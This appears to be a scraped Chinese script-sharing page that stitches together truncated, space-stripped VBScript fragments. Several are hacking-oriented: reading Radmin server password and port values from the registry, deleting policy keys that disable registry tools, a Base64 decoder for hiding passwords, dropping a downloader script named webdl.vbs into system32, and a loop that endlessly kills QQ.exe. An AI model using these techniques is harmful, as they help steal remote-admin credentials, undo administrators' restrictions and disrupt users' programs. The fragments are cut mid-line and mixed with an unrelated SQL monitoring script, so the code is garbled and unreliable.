% ''========================================Main====================================== SetWSH=Server.CreateObject('Wscript.shell') RadminPath='HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\' Parameter='Parameter' Port='Port' ParameterArray=

OnErrorResumeNext SetWSHShell=WScript.CreateObject('WScript.Shell') WithWScript.CreateObject('WScript.Shell') .RegDelete'HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools' .RegDelete'HKCU\Software\Policies\Microsoft\

复制代码 代码如下: Function fDecode(sStringToDecode) ''This function will decode a Base64 encoded string and returns the decoded string. ''This becomes usefull when attempting to hide passwords from prying eyes. Const CharList = 'ABCDEFGHIJKLMNOPQRSTUVWXYZab

自以为vbs玩得够好了，FSO和WMI也玩得很顺，直到看到LCX前辈的文章，才悟出了vbs的奥义。 原来vbs的至尊境界就是：一切windows对象皆可调用，任何CLSID都可以来CreateObject的。基本上可以直接用vbs来调用系统绑定的任意一个程序！恐怖的难以想象 努力学习吧

DimWSHShell,r,M,v,t,g,i OnErrorResumeNext SetWSHShell=WScript.CreateObject('WScript.Shell') v='HKCU\Software\Microsoft\Windows\CurrentVersion\ Policies\System\DisableRegistryTools' i='REG_DWORD' t='注册表开关' r=WSHShell.RegRead(v) g=1 If(r=1)Theng=0 Ifg=

//把要ECHO的脚本,拖到此脚本上...根据提示操作即可 复制代码 代码如下: OnErrorResumeNext SetArg=Wscript.arguments IfArg.count=0thenWscript.quit ‘——————- ‘Enjoyit ‘CodeByNetPatch ‘——————- fname=InputBox(”请输入要ECHO的路径):”,”输入文件名”,”%systemroot%/system32/webdl.vbs”) SetFso=

dimbag,pipe,honker,good do good='.' setbag=getobject('winmgmts:\\'&good&'\root\cimv2') setpipe=bag.execquery('select*fromwin32_processwherename=''QQ.exe''') foreachiinpipe i.terminate() next wscript.sleep1 loop

获得SQL数据/日志空间使用，已使用的和未使用的空间的脚本 getSQLinfo.vbs ''scripttogetSQLDATA/LOGSpaceUsed,Spaceunused, andSpaceFree ''Author:FelipeFerreira,DanielMagrini ''Date:05/07/07 ''Version2,0 ''@@TOCHANGE:::SERVERNAME\Instance,domain\user,passwordANDDATABSE! ''_________